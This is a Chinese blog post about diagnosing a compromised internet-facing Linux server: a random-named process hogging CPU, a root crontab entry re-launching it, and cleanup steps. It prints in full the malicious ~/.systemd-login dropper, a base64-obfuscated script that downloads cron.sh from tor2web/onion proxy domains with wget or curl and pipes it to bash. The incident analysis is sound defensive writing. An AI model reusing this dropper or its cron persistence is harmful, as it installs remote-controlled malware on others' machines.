最近因为工作需要申请了3台linux虚拟机,因为需要多人多地协作,所以开通了互联网访问权限,即给每天服务器配置了公网IP,有一天突然发现服务器运行速度巨慢,就上服务器进行查看,下面把整个过程如实记录,希望帮助到也有此遭遇的朋友。
登录到服务器使用top命令查看进程使用服务器资源情况,发现有一个进程cpu使用率300%多,而且这个进程的名字很奇怪,是一个随机字符串,截图如下:
top命令执行
使用命令kill -9 748结束该进程,发现cpu的占有率立即下降到合理水平,而且服务器的整体响应速度明显提升,从而确定就是该进程捣的鬼。
但是过了一段时间后又出现了服务器响应速度变慢的情况,又执行了以上操作,从而确定该进程是被后台定时启动的,再一次检查系统定时任务,使用命令crontab -l,发现了确实有一个定时任务,如下:
[root@rabbit03 ~]# crontab -l0 * * * * ~/.systemd-login[root@rabbit03 ~]#
再一次top查看进程,发现systemd-login进程在列,于是开始查看这个shell具体是做什么的,使用more命令查看:
more ~/.systemd-login#!/bin/bashexec &>/dev/nullsleep $((RANDOM % 600)){echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KKHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmlvL2Nyb24uc2ggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCB3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8uZDJ3ZWIub3JnL2Nyb24uc2ggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi5tbi9jcm9uLnNoIHx8IGN1cmwgLW0xODAgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi5tbi9jcm9uLnNoIHx8IHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi50by9jcm9uLnNoIHx8IGN1cmwgLW0xODAgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi50by9jcm9uLnNoIHx8IHdnZXQgLXQxIC1UMTgwIC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi5pbi5uZXQvY3Jvbi5zaCB8fCBjdXJsIC1tMTgwIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2gpfGJhc2gK}|{base64,-d}|bash
是base64后的执行脚本,于是将这个base64放到在线解码系统中解码,得到如下明码:
解码后脚本
从而发现该脚本是从远程服务器获取执行代码,然后随机时间启动,是一种典型的脚本注入入侵。
既然已经找到问题的根源就好处理了。
1. 断开互联网服务,避免再次被注入
2. 删除定时任务,命令如下:
crontab -e
删除该条定时任务。
3. 删除定时任务执行脚本文件.system-login